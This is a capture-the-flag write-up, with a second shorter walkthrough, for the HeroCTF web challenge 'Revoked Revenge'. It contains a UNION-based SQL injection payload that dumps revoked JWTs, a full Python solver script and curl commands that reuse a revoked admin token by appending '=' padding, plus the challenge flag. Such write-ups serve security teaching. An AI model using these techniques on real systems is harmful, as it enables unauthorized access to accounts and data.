//Revoked Revenge
Category: Web
Author: 25kGoldn
Difficulty: Medium
>Challenge Description
The challenge provided a web application source code (main.py) and a remote instance. The goal was to retrieve the flag, which was protected by an admin panel.
>1. Initial Analysis
We started by analyzing the provided main.py source code.
Vulnerability 1: SQL Injection
In the /employees endpoint, we found a blatant SQL injection vulnerability:
@app.route("/employees", methods=["GET"])
@token_required
def employees():
query = request.args.get("query", "")
conn = get_db_connection()
cursor = conn.cursor()
# VULNERABILITY: Direct string concatenation
cursor.execute(
f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'"
)
results = cursor.fetchall()
# ...
This allows us to inject SQL commands via the query parameter. Since it's a SELECT statement, we can use UNION SELECT to leak data from other tables.
Vulnerability 2: Token Revocation Logic Flaw
The application uses JWTs for authentication. There is a revoked_tokens table to blacklist tokens on logout.
def token_required(f):
# ...
token = request.cookies.get("JWT")
# ...
revoked = conn.execute(
"SELECT id FROM revoked_tokens WHERE token = ?", (token,)
).fetchone()
if not user or revoked:
flash("Invalid or revoked token!", "error")
return redirect("/login")
The check WHERE token = ? performs an exact string match in the SQLite database.
However, the pyjwt library (and JWT standard) allows for loose Base64 decoding. Specifically, appending padding characters (=) to a valid Base64 string often results in the same decoded output.
If we take a revoked token and append an = sign to it:
-
Database Check: The token
eyJ...=does NOT match the stored tokeneyJ...(exact match fails). The database says "Not Revoked". -
JWT Decode:
jwt.decodeignores the extra padding and successfully decodes the token.
This allows us to reuse a revoked token!
>2. Exploitation Strategy
Step 1: Leak Revoked Tokens
We need a valid token that belongs to an admin but has been revoked. We can leak the revoked_tokens table using the SQL injection.
Payload:
' AND 0 UNION SELECT id, token, 'dummy', 'dummy' FROM revoked_tokens --
We injected this into the query parameter:
GET /employees?query=' AND 0 UNION SELECT id, token, 'dummy', 'dummy' FROM revoked_tokens --
This returned a list of revoked tokens. We found one that looked promising (likely belonging to the admin).
Step 2: Bypass Revocation
We took the leaked admin token and appended an = character to it.
Original Token: eyJ... (Revoked)
Bypassed Token: eyJ...= (Not Revoked in DB, Valid in JWT)
Step 3: Access Admin Panel
We set our JWT cookie to the bypassed token and accessed /admin.
>3. Solver Script
Here is the complete python script to automate the exploit:
import requests
import re
import sys
from bs4 import BeautifulSoup
# Configuration
BASE_URL = "http://dyn15.heroctf.fr:14778"
# BASE_URL = "http://localhost:5001" # Local testing
SESSION = requests.Session()
def register_and_login(username, password):
print(f"[*] Registering and logging in as {username}...")
SESSION.post(f"{BASE_URL}/register", data={"username": username, "password": password})
resp = SESSION.post(f"{BASE_URL}/login", data={"username": username, "password": password})
if "JWT" in SESSION.cookies:
print("[+] Login successful.")
return True
print("[-] Login failed.")
return False
def leak_revoked_token():
print("[*] Leaking revoked tokens via SQL Injection...")
# Payload to leak id and token from revoked_tokens table
# We use ' AND 0 UNION SELECT ... to hide normal results
payload = "' AND 0 UNION SELECT id, token, 'dummy', 'dummy' FROM revoked_tokens --"
resp = SESSION.get(f"{BASE_URL}/employees", params={"query": payload})
soup = BeautifulSoup(resp.text, 'html.parser')
tokens = []
for row in soup.find_all('tr')[1:]:
cols = row.find_all('td')
if len(cols) >= 2:
token = cols[1].text.strip()
# Basic check if it looks like a JWT (starts with eyJ)
if token.startswith("eyJ"):
tokens.append(token)
if tokens:
print(f"[+] Found {len(tokens)} revoked tokens.")
return tokens
else:
print("[-] No tokens found.")
return []
def get_flag(token):
# The vulnerability:
# The server checks revocation by exact string match: SELECT ... WHERE token = ?
# But pyjwt allows padding characters ('=') at the end.
# So 'TOKEN' is revoked, but 'TOKEN=' is NOT revoked in DB, but valid for pyjwt.
padded_token = token + "="
print(f"[*] Attempting to bypass revocation with padded token...")
print(f"[*] Token: {padded_token[:20]}...{padded_token[-10:]}")
# We need to send this token in the cookie.
# Requests session handles cookies automatically, but we need to override the JWT cookie.
cookies = {"JWT": padded_token}
resp = requests.get(f"{BASE_URL}/admin", cookies=cookies)
if "Hero{" in resp.text:
flag = re.search(r"Hero\{.*?\}", resp.text).group(0)
print(f"\n[+] SUCCESS! Flag retrieved: {flag}")
return True
elif "flag" in resp.text.lower(): # Local dummy flag
print(f"\n[+] SUCCESS! Flag retrieved (local): {resp.text.strip()}")
return True
else:
print("[-] Failed to retrieve flag with this token.")
return False
def main():
# 1. Get a valid session to exploit SQLi
if not register_and_login("solver_user", "password123"):
return
# 2. Leak revoked tokens
tokens = leak_revoked_token()
# 3. Try to use each token to get the flag
for token in tokens:
# We are looking for the admin token.
# In a real scenario we might decode them to check "sub": "admin",
# but here we can just try them all.
if get_flag(token):
break
if __name__ == "__main__":
if len(sys.argv) > 1:
BASE_URL = sys.argv[1]
main()
>4. Flag
Hero{N0t_th4t_r3v0k3d_37d75e49a6578b66652eca1cfe080e5b}
//Another Way
//Revoked Revenge Walkthrough
>Challenge Overview
The challenge "Revoked Revenge" is a web application vulnerable to SQL Injection and a Logic Flaw in JWT revocation handling.
>Vulnerability Analysis
-
SQL Injection: The
/employeesendpoint is vulnerable to SQL injection via thequeryparameter.cursor.execute(f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'")
This allows an attacker to leak arbitrary data from the database using
UNION SELECT. -
JWT Revocation Bypass: The application checks for revoked tokens by comparing the token string against a blacklist in the database.
revoked = conn.execute("SELECT id FROM revoked_tokens WHERE token = ?", (token,)).fetchone()
However, the JWT library (
pyjwt) allows for extra padding (e.g., appending=) when decoding tokens. By appending=to a revoked token, the string comparison in the database fails (bypassing the revocation check), but the token remains valid forjwt.decode.
>Exploitation Steps
-
Leak Revoked Tokens: Use the SQL injection to dump the
revoked_tokenstable.curl -s -b cookie.txt "http://dyn15.heroctf.fr:14778/employees?query=%27%20AND%200%20UNION%20SELECT%20id,%20token,%20%27dummy%27,%20%27dummy%27%20FROM%20revoked_tokens%20--"
This revealed a revoked token for the
admin user.
-
Bypass Revocation: Append
=to the revoked admin token.- Original:
...svDe4 - Bypassed:
...svDe4=
- Original:
-
Access Admin Panel: Use the modified token to access
/adminand retrieve the flag.curl -b "JWT=<MODIFIED_TOKEN>" http://dyn15.heroctf.fr:14778/admin
>Flag
Hero{N0t_th4t_r3v0k3d_37d75e49a6578b66652eca1cfe080e5b}